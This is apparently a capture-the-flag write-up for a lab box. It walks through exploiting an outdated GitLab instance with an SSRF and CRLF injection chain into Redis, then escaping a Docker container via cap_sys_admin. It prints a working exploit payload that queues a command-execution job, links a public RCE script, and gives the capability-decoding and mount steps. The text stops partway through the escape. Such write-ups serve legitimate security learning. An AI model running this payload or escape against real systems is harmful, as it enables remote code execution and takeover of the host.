I think it was quite fun box. In case of steps that one have to perform to get the flags i may say it’s difficulty is rather of easy side of medium boxes.

For the foothold we just need to register in drupal service, get info about drupal version which has several vulnerabilities. If we know what these vulnerabilities are we can easily find exploit which enables us to get foothold.

After getting foothold we will found out that we’re in docker container. Good enumeration we’ll give us access to root and then we can use capabilities of the container to escape from docker and obtain root flag.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
|_http-title: GitLab is not responding (502)
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Gitlab overview:

Gitlab version info:

This Gitlab version has several vulnerabilities but we’ll exploit two of them: CVE-2019-19571 and CVE-2018-19585. First CVE refers to SSRF vulnerability, second one refers to CRLF Injection in Gitlab Project Mirroring component.

It takes me some time to find proper exploit. At first i was’t sure why any of them works. Finally i decided to use exploit from:

https://raw.githubusercontent.com/ctrlsam/GitLab-11.4.7-RCE/master/exploit.py .

It enables us to estabilish reverse shell in few ways. The one that only works was python3 reverse shell option. This might be an indicator of Gitlab being hosted in docker container.

To my mind it’s crucial to understand how the exploits we want to use works.

Let’s look at exploit payload and disscuss how it really works:

exploit_form = \
"""utf8=%E2%9C%93&authenticity_token=""" + auth_token + """&project%5Bimport_url%5D=git://[0:0:0:0:0:ffff:127.0.0.1]:6379/

 multi

 sadd resque:gitlab:queues system_hook_push

 lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|"""+ payload +"""\\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
 
 exec

 exec

/ssrf.git&project%5Bci_cd_only%5D=false&project%5Bname%5D="""+ project_name +"""&project%5Bnamespace_id%5D="""+ namespace_id +"""&project%5Bpath%5D="""+ project_name +"""&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0"""

All this payload is exploiting SSRF and CRLF injection vulnerability.
Redis server is configured on default to listen on TCP socket on port 6379.
We’re abusing SSRF vulnerability to access this Redis server. For that thing we bypasing local ip access protection by serving ipv6 ip. Nextly we abuse CRLF injection vulnerability by *mainpulation of redis server to perform injection of malicious payload into system_hook_push queue, which results in arbitrary code execution.
Nextly we can describe redis commands:

multi – this command marks the start of transaction block. Rest of the command will be queued for execution using latter exec command.

sadd resque:gitlab:queues system_hook_push – it creates redis set named system_hook_push

lpush resque:gitlab:queue:system_hook_push „{\xxxxxxxxx”} – it creates list of key system_hook_push where we put our payload.

exec – commands that commits transaction

When we navigate to user directory we’ll get user flag:

More enumeration has shown that we’re in docker container (Sorry for not including screeshot, i forget to take it)

Lets check what is our capabilities in that container. To find that we have simple check our process pid, then navigate to /proc/pid/status:

Now we can use command:

capsh --decode=0000003fffffffff

As we see have many capabilities in that container. One of them is dangerous capability cap_sys_admin:

We cannot access it since all listed capabilities before are docker capabilities. Before exploiting this additional permission we have to get root acess.

When i enumerate file system i try to look in the most obvious places first before going deeper. This technique was usefull in that matter.

I found some interesting files in /opt/backup directory:

What i found in gitlab.rb is:

I immediately checked for password reusage:

Having root access and cap_sys_admin capability i can escape from docker by mounting root filesystem partition.

Let’s look at /dev directory:

We can see there is couple partitions the we can mount. Let’s try to mount every od sda partitions: